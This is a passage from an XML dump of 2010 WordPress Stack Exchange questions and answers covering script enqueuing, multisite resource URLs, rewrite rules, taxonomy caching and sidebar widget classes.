  <row Id="5884" PostTypeId="2" ParentId="5882" CreationDate="2010-12-24T06:58:21.393" Score="2" ViewCount="" Body="&lt;p&gt;No, &lt;code&gt;index.php&lt;/code&gt; file is present and used in WordPress (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/index.php&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what existing &lt;em&gt;homepage&lt;/em&gt; is it can be renamed to another non-conflicting file or migrated to WordPress.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-24T06:58:21.393" CommentCount="3" />
  <row Id="5885" PostTypeId="2" ParentId="5869" CreationDate="2010-12-24T08:15:13.727" Score="1" ViewCount="" Body="&lt;p&gt;Basically your approach fails because &lt;code&gt;function_exist()&lt;/code&gt; simply check for function definition. It doesn't care if function is ever run or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case I think it makes sense to handle enqueue in same way as your slider choice, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sliders = get_option('src_switcher');&#xA;&#xA;if($sliders == 'First slider')&#xA;    $plugin = 'jquery.plugin.js';&#xA;&#xA;elseif($sliders == 'Second slider')&#xA;    $plugin = 'jquery.plugin2.js';&#xA;&#xA;elseif($sliders == 'Third slider')&#xA;    $plugin = 'jquery.plugin3.js';&#xA;&#xA;wp_enqueue_script( 'jquery-slider', get_bloginfo('template_directory').'/js/'.$plugin , array( 'jquery' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-24T08:15:13.727" CommentCount="1" />
  <row Id="5886" PostTypeId="2" ParentId="5869" CreationDate="2010-12-24T08:20:35.957" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Denis Belousov:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, based on your responses I'm going to ask why tie it to the function existing, why not just test the return value of &lt;code&gt;get_option('src_switcher')&lt;/code&gt; like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_scripts() {&#xA;  if (!is_admin()) {&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script( 'custom', &#xA;      get_bloginfo('template_directory').'/js/custom.js', &#xA;        array( 'jquery' ), &#xA;        '', &#xA;        true );&#xA;    if (is_front_page()) {&#xA;      $sliders = get_option('src_switcher'); &#xA;      if ($sliders == 'First slider') &#xA;        wp_enqueue_script( 'jquery1',&#xA;          get_bloginfo('template_directory').'/js/jquery.plugin.js', &#xA;          array( 'jquery' ));&#xA;      else if ($sliders == 'Second slider') &#xA;        wp_enqueue_script('jquery2',          &#xA;          get_bloginfo('template_directory').'/js/jquery.plugin2.js', &#xA;          array( 'jquery' ));&#xA;      else if ($sliders == 'Third slider') &#xA;        wp_enqueue_script( 'jquery3',&#xA;          get_bloginfo('template_directory').'/js/jquery.plugin3.js', &#xA;          array( 'jquery' )); &#xA;    }&#xA;  }&#xA;}&#xA;add_action('wp_print_scripts', 'my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternately if you must use the function testing you'll want the code that defines your functions to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sliders = get_option('src_switcher'); &#xA;if ($sliders == 'First slider') &#xA;  function function_one() {&#xA;    ...code.. &#xA;  }&#xA;else if($sliders == 'Second slider') &#xA;  function function_two() {&#xA;    ...code.. &#xA;  }&#xA;else if($sliders == 'Third slider') &#xA;  function function_three() {&#xA;    ...code.. &#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-24T08:20:35.957" CommentCount="2" />
  <row Id="5887" PostTypeId="2" ParentId="3748" CreationDate="2010-12-24T08:23:18.020" Score="0" ViewCount="" Body="&lt;p&gt;ya, the page title (in header), not the post title ????&lt;/p&gt;&#xA;" LastActivityDate="2010-12-24T08:23:18.020" />
  <row Id="5888" PostTypeId="2" ParentId="5846" CreationDate="2010-12-24T08:27:04.597" Score="2" ViewCount="" Body="&lt;p&gt;The filter you need is &lt;strong&gt;nav_menu_css_classes&lt;/strong&gt;. You should be able to test for *in_category* on single post and archive pages, and add the appropriate class there. &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-24T08:27:04.597" />
  <row Id="5889" PostTypeId="2" ParentId="2738" CreationDate="2010-12-24T08:48:45.113" Score="0" ViewCount="" Body="&lt;p&gt;@Chris R I'm considering starting to use BackupBuddy, but I'm concerned about CPU usage issues. Have you had any when running the plugin?&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2010-12-24T08:48:45.113" />
  <row Id="5890" PostTypeId="2" ParentId="5846" CreationDate="2010-12-24T09:59:00.780" Score="0" ViewCount="" Body="&lt;p&gt;You can style this classes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;current-cat&quot;&#xA;&quot;current-menu-item&quot;&#xA;&quot;current-page-item&quot;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-24T09:59:00.780" />
  <row Id="5891" PostTypeId="2" ParentId="5874" CreationDate="2010-12-24T12:53:57.653" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I want to do is redirect&#xA;  www.domain2.com to&#xA;  www.domain1.com/domain2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you don't want to do it via htaccess. You need to use the domain mapping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&#xA;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-24T12:53:57.653" CommentCount="1" />
  <row Id="5892" PostTypeId="2" ParentId="5882" CreationDate="2010-12-24T13:11:19.300" Score="-2" ViewCount="" Body="&lt;p&gt;If you're good at PHP programming, you might be able to tweak it so that it can accomodate both Wordpress and the existing content. &lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2010-12-24T13:11:19.300" />
  <row Id="5893" PostTypeId="1" AcceptedAnswerId="5895" CreationDate="2010-12-24T14:16:46.940" Score="1" ViewCount="79" Body="&lt;p&gt;I have two Custom Post Types, &quot;event&quot;, and &quot;opportunity&quot;. They share a custom hierarchal taxonomy, &quot;location&quot;. My client had added a handful of terms (United States (parent), then a few States (children)). I decided to save them time by adding the rest of the States via wp_insert_term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked great! Or, so it seemed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The terms showed up fine for me as an admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When logging into a &quot;Contributor&quot; account, I can go and create a new &quot;Opportunity&quot;, and all the terms show as expected. When going to create a new &quot;Event&quot;, the only terms that show up are the ones that were created by hand. You can &lt;em&gt;add&lt;/em&gt; a new term on the spot via &quot;Event&quot; and it shows up just fine in the location manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its as if WordPress is caching the older terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be causing this or where I should look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.0.3&lt;br&gt;&#xA;Role Scoper 1.3.20&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2010-12-24T14:24:36.930" Title="Custom Taxonomy Term Caching?" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="5894" PostTypeId="2" ParentId="5367" CreationDate="2010-12-24T14:22:34.657" Score="3" ViewCount="" Body="&lt;p&gt;I was able to come up with a work around! First, I used Role Scoper to limit a user account to a specific term - in this case, a Ministry Representative is limited to the name of their Ministry in the &quot;ministries&quot; taxonomy. Then, I used the WPAlchemy class to create a custom metabox that would list the terms and, since it only returned one (theirs), I would have it already selected. Next, I hid it via an admin stylesheet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect is that, when a Ministry Representative creates a new Event or Opportunity, their ministry name is already selected (though they don't see it) and the association is made on save. It requires a bit of work on the part of the admins to setup the term and I would still like a cleaner way of doing the same if it exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone would like further details on my work-around, let me know.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="1766" LastEditorDisplayName="" LastEditDate="2011-01-19T21:23:19.380" LastActivityDate="2011-01-19T21:23:19.380" CommentCount="2" />
  <row Id="5895" PostTypeId="2" ParentId="5893" CreationDate="2010-12-24T14:24:36.930" Score="1" ViewCount="" Body="&lt;p&gt;There are some bugs related to hierarchical term caching, indeed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14704&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14704&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14485&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14485&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-12-24T14:24:36.930" CommentCount="2" />
  <row Id="5896" PostTypeId="1" AcceptedAnswerId="5914" CreationDate="2010-12-24T15:33:08.620" Score="2" ViewCount="142" Body="&lt;p&gt;Say a theme &lt;em&gt;&quot;foo&quot;&lt;/em&gt; is used on across a network of sites. In each site, all the theme resources (&lt;code&gt;.css&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, etc.) will have distinct URLs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://network/siteA/wp-content/themes/foo/style.css&quot; rel=&quot;nofollow&quot;&gt;http://network/siteA/wp-content/themes/foo/style.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://network/siteB/wp-content/themes/foo/style.css&quot; rel=&quot;nofollow&quot;&gt;http://network/siteB/wp-content/themes/foo/style.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://network/siteC/wp-content/themes/foo/style.css&quot; rel=&quot;nofollow&quot;&gt;http://network/siteC/wp-content/themes/foo/style.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want these to all be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://network/wp-content/themes/foo/style.css&quot; rel=&quot;nofollow&quot;&gt;http://network/wp-content/themes/foo/style.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do this? I can fix URLs directly output in the theme, but how do I normalize the URLs in enqueued scripts/stylesheets?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Aside&lt;/em&gt;: What's the benefit of having expressions like &lt;code&gt;get_bloginfo('template_url')&lt;/code&gt; create URLs that differ across sites?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1876" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-25T01:17:57.877" LastActivityDate="2010-12-25T01:17:57.877" Title="Outputting Canonical Resource URLs Across a Multisite Network?" Tags="&lt;multisite&gt;&lt;template&gt;&lt;urls&gt;&lt;network&gt;&lt;scripts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5898" PostTypeId="2" ParentId="5792" CreationDate="2010-12-24T15:47:53.840" Score="1" ViewCount="" Body="&lt;p&gt;If you're looking for a multi-faceted form suite, I'd take a strong look at Gravity Forms. It isn't free, but it's well worth the price.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-12-24T15:47:53.840" />
  <row Id="5899" PostTypeId="2" ParentId="5661" CreationDate="2010-12-24T15:54:01.027" Score="0" ViewCount="" Body="&lt;p&gt;You'll wanna make a filter in your functions.php file. Scroll about halfway down on this codex page and they'll show two separate methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_excerpt&quot; rel=&quot;nofollow&quot;&gt;the_excerpt on WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure your existing functions file doesn't already have something like this, which could be adding the line break in the first place.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-12-24T15:54:01.027" />
  <row Id="5900" PostTypeId="2" ParentId="5508" CreationDate="2010-12-24T16:00:10.057" Score="1" ViewCount="" Body="&lt;p&gt;The short version is no, you can't do that. But similar to what Voyagerfan said, you may want to look into using a custom post type and and custom taxonomy. That way they aren't parent / child relationships, rather, separate types that can be sorted / queried on their own.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-12-24T16:00:10.057" />
  <row Id="5901" PostTypeId="2" ParentId="5882" CreationDate="2010-12-24T16:15:01.747" Score="3" ViewCount="" Body="&lt;p&gt;In theory, you could rename the file and change the rewrite rule accordingly. Assuming you rename it to wp-index.php, it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /wp-index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few references to index.php in the WP source, but they're almost all either in the admin area and used to detect or direct to the dashboard, or explicitly for servers that don't fully support mod_rewrite.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-24T16:15:01.747" CommentCount="3" />
  <row Id="5902" PostTypeId="1" AcceptedAnswerId="5904" CreationDate="2010-12-24T17:01:43.507" Score="0" ViewCount="1176" Body="&lt;p&gt;how can i use multiple meta_key and meta_value in query_posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to find multiple content with two different meta_key and meta_value. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i using this code but not effective:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=test2&amp;amp;meta_value=hello&amp;amp;meta_key=test2&amp;amp;meta_value=bye');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please help me...&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2010-12-24T17:57:49.470" Title="using multiple meta_key and meta_value in query_posts" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="5903" PostTypeId="1" CreationDate="2010-12-24T17:12:57.027" Score="0" ViewCount="147" Body="&lt;p&gt;Is the a Text Expander with a plus sing next to the content indicating if one clicked on the plus sing ne would see more information?&lt;/p&gt;&#xA;" OwnerUserId="1971" LastActivityDate="2011-01-24T23:12:00.737" Title="Text Expander with a plus sing" Tags="&lt;pages&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5904" PostTypeId="2" ParentId="5902" CreationDate="2010-12-24T17:57:49.470" Score="1" ViewCount="" Body="&lt;p&gt;This is not currently possible with query arguments alone (realm of filtering raw SQL query and such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your task is not time-critical then I suggest to wait for upcoming WP 3.1 release. It will feature much more flexible querying capabilities for custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;Advanced Metadata Queries&lt;/a&gt; for post on upcoming improvements.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-24T17:57:49.470" CommentCount="1" />
  <row Id="5905" PostTypeId="2" ParentId="5879" CreationDate="2010-12-24T18:13:05.533" Score="1" ViewCount="" Body="&lt;p&gt;It is hard to say for sure with those floating sidebars, CSS is huge pain to work through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the outer layer whole &lt;code&gt;div&lt;/code&gt; that holds your widget has &lt;code&gt;display: none;&lt;/code&gt; property applied and there are couple more places with same property applied to parts of twitter widget. Overall this seems like a huge CSS conflict.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-24T18:13:05.533" CommentCount="1" />
  <row Id="5906" PostTypeId="1" AcceptedAnswerId="8652" CreationDate="2010-12-24T19:27:32.153" Score="1" ViewCount="150" Body="&lt;p&gt;I am trying to insert html into the HTML view.What i have done is to have tinymce advanced(a wordpress plugin) button that throws a popup and in it is all the necessary things to insert the html.The tinymce buttons are however only visible on the visual view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a plugin or hack that can allow one to parse html inside the visual view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to insert html code to the html view from a popup initiated from the visual view &lt;/p&gt;&#xA;" OwnerUserId="2136" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:20:47.850" LastActivityDate="2011-02-05T23:20:47.850" Title="Inserting code to HTML view from a pop up initiated from visual view" Tags="&lt;plugin-development&gt;&lt;javascript&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="5907" PostTypeId="1" AcceptedAnswerId="5909" CreationDate="2010-12-24T21:02:01.417" Score="0" ViewCount="323" Body="&lt;p&gt;I want to add different class (css) in widgets in site sidebar .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First widget in Sidebar -&gt; class=sidebar-top1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second widget in Sidebar -&gt; class=sidebar-top2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;third widget in Sidebar -&gt; class=sidebar-top3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i want to add class in &amp;lt;div&amp;gt; tag.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how i can to do?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2011-05-26T22:09:14.967" Title="different class (css) for sidebar widgets" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;css&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5908" PostTypeId="2" ParentId="5907" CreationDate="2010-12-24T21:52:25.247" Score="0" ViewCount="" Body="&lt;p&gt;What a coincidence, I just spent several hours messing with widget classes. I won't post my resulting code because it does stuff that is more complex and out of context for your question. Here are basics (or maybe &quot;basics&quot;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Widget is passed through &lt;code&gt;dynamic_sidebar_params&lt;/code&gt; hook.&lt;/li&gt;&#xA;&lt;li&gt;Widget data is &lt;code&gt;$params[0]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Sidebar name is &lt;code&gt;$params[0]['name']&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Opening widget wrapper is &lt;code&gt;$params[0]['before_widget']&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So you can filter this hook, check for sidebar you want to modify, keep track of widget count (likely with &lt;code&gt;static&lt;/code&gt; variable), modify wrapper and return modified widget parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am way to sleepy to write out specific code, leave a comment if you still need help with this and I will get back to it tomorrow.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-24T21:52:25.247" CommentCount="1" />
  <row Id="5909" PostTypeId="2" ParentId="5907" CreationDate="2010-12-24T22:14:39.100" Score="2" ViewCount="" Body="&lt;p&gt;Check out this post I wrote on the wordpress.org board... it has some functioning code you can work from: &lt;a href=&quot;http://wordpress.org/support/topic/how-to-first-and-last-css-classes-for-sidebar-widgets&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-to-first-and-last-css-classes-for-sidebar-widgets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-24T22:14:39.100" CommentCount="2" />
  <row Id="5910" PostTypeId="1" CreationDate="2010-12-24T23:54:47.170" Score="2" ViewCount="342" Body="&lt;p&gt;I'm trying to add Javascript for my &lt;em&gt;&quot;PrettyPhoto&quot;&lt;/em&gt; plugin to pages only when their content contains  &lt;code&gt;rel='prettyPhoto'&lt;/code&gt;. This looks very simple to me but all solutions I've found on the internet doesn't work for me. One example is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function load_my_js() {&#xA;  if(is_admin() ) return; // never mind if this is an admin page&#xA;  global $post;&#xA;  if (strpos($post-&amp;gt;post_content,'rel=&quot;prettyPhoto') == false) return&#xA;  wp_register_script('js_test',plugins_url().'/demo/test.js',array('jquery'));&#xA;  wp_enqueue_script('js_test');&#xA;}&#xA;add_action('wp','load_my_js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another one from Yoast:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yst_conditional_thickbox() {&#xA;  global $post;&#xA;  if (is_singular() &amp;amp;&amp;amp;&#xA;    strpos($post-&amp;gt;post_content,'class=&quot;thickbox&quot;') !== false) {&#xA;      wp_enqueue_script('thickbox');&#xA;      wp_enqueue_style('thickbox');&#xA;  }&#xA;}&#xA;add_action('wp_print_styles','yst_conditional_thickbox');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you know how to do this? Thank you!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how looks your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class UglyPhotoPlugin {&#xA;  static function on_load() {&#xA;    add_action('wp',array(__CLASS__,'load_my_js'));&#xA;  }&#xA;  static function load_my_js() {&#xA;    if (!is_admin()) {&#xA;      global $post;&#xA;      if (strpos($post-&amp;gt;post_content,'rel=&quot;prettyPhoto&quot;') !== false) {&#xA;        wp_enqueue_script( 'jquery' );&#xA;        wp_enqueue_script( 'prettyJs', get_bloginfo('template_directory').'/js/jquery.prettyPhoto.js', array( 'jquery' ) );&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;UglyPhotoPlugin::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;We are here!stdClass Object&#xA;(&#xA;    [ID] =&amp;gt; 17&#xA;    [post_author] =&amp;gt; 1&#xA;    [post_date] =&amp;gt; 2009-12-25 17:10:18&#xA;    [post_date_gmt] =&amp;gt; 2009-12-25 17:10:18&#xA;    [post_content] =&amp;gt; &#xA;    [post_title] =&amp;gt; Portfolio&#xA;    [post_excerpt] =&amp;gt; &#xA;    [post_status] =&amp;gt; publish&#xA;    [comment_status] =&amp;gt; closed&#xA;    [ping_status] =&amp;gt; closed&#xA;    [post_password] =&amp;gt; &#xA;    [post_name] =&amp;gt; portfolio&#xA;    [to_ping] =&amp;gt; &#xA;    [pinged] =&amp;gt; &#xA;    [post_modified] =&amp;gt; 2010-12-21 00:24:59&#xA;    [post_modified_gmt] =&amp;gt; 2010-12-21 00:24:59&#xA;    [post_content_filtered] =&amp;gt; &#xA;    [post_parent] =&amp;gt; 0&#xA;    [guid] =&amp;gt; http://mysite.com/?page_id=17&#xA;    [menu_order] =&amp;gt; 3&#xA;    [post_type] =&amp;gt; page&#xA;    [post_mime_type] =&amp;gt; &#xA;    [comment_count] =&amp;gt; 0&#xA;    [ancestors] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;    [filter] =&amp;gt; raw&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is generated above &lt;code&gt;!DOCTYPE&lt;/code&gt;.&#xA;Am I right?&lt;/p&gt;&#xA;" OwnerUserId="1752" LastEditorUserId="1752" LastEditorDisplayName="" LastEditDate="2010-12-27T11:09:23.707" LastActivityDate="2010-12-27T11:09:23.707" Title="Loading Javascript Only When Specific Content Existing in a Post?" Tags="&lt;javascript&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="5911" PostTypeId="1" AcceptedAnswerId="5912" CreationDate="2010-12-25T00:25:09.977" Score="1" ViewCount="341" Body="&lt;p&gt;I've been trying to figure out why we have the constants &lt;code&gt;BLOG_ID_CURRENT_SITE&lt;/code&gt; and &lt;code&gt;SITE_ID_CURRENT_SITE&lt;/code&gt; &lt;em&gt;(vs. hardcoding them to be equal to &lt;code&gt;1&lt;/code&gt;)&lt;/em&gt;, what exactly the differences are, and when either of them will not equal 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight will be appreciated. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-27T21:39:02.370" Title="BLOG_ID_CURRENT_SITE vs. SITE_ID_CURRENT_SITE in WordPress Multisite?" Tags="&lt;multisite&gt;&lt;constants&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5912" PostTypeId="2" ParentId="5911" CreationDate="2010-12-25T00:31:08.947" Score="3" ViewCount="" Body="&lt;p&gt;I addressed a similar question on StackOverflow &lt;a href=&quot;http://stackoverflow.com/questions/4184146/wordpress-difference-between-site-id-and-blog-id/4189358#4189358&quot;&gt;last month&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In MultiSite, &quot;blog&quot; is a reference to an individual website.  &quot;Site&quot; is a reference to a network of &quot;blogs.&quot;  In the future, there's the likelihood that WordPress will be able to power multiple networks (&quot;site&quot;s) in addition to its current state of multiple &quot;blog&quot;s.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some more digging, and discovered a plug-in that easily allows you to split your multi-site installation into a multi-network one: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-multi-network/&quot; rel=&quot;nofollow&quot;&gt;WP Multi Network&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-27T16:43:23.670" LastActivityDate="2010-12-27T16:43:23.670" CommentCount="5" />
  <row Id="5913" PostTypeId="1" CreationDate="2010-12-25T00:41:49.143" Score="0" ViewCount="174" Body="&lt;p&gt;How to remove the Navigation Bar (prim. and sec.) from the Homepage for the Genesis Framework?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:07:25.210" LastActivityDate="2011-04-04T06:35:41.853" Title="How to remove the Navigation Bar (prim. and sec.) from the Homepage for the Genesis Framework?" Tags="&lt;genesis-theme-framework&gt;&lt;navigation-bar&gt;" AnswerCount="1" />
  <row Id="5914" PostTypeId="2" ParentId="5896" CreationDate="2010-12-25T01:13:27.600" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@mrclay:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good questions. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress Multisite is Many &lt;em&gt;Independant&lt;/em&gt; Sites, not Many &lt;em&gt;Dependant&lt;/em&gt; Sites&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To answer your aside, WordPress multisite was designed to be a collections of independent WordPress installs collected into one where each site is likely to be very different, unlike your use-case. So each site has it's own theme and WordPress wants those themes to work on both single site installs and for sites in a multisite install. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress Out-of-the-Box: Decisions, not Options, but Change with Plugins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;While WordPress could have had an option for doing what you want built in the philosophy at  WordPress is to make decisions for you instead of giving you a thousand options you'll feel you need to understand, and then letting plugin developers changes those decisions if needed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Yes: Central Resources = Better Load Times&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Still, it would be nice to be able to do what you are asking as it would improve average load times by leveraging HTTP GET caching for multisites with common themes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;No Need to &quot;Rewrite&quot; URLs&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To start, there's no need to &quot;rewrite&quot; the URLs, just make sure the stylesheet and other resources you want are part of the theme assigned to the main site and then they will be located at the URLs you want.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Creating the &quot;Hook&quot; for &lt;code&gt;style.css&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In WordPress you change the out-of-the-box decisions by adding &lt;em&gt;&quot;hooks&quot;&lt;/em&gt;; 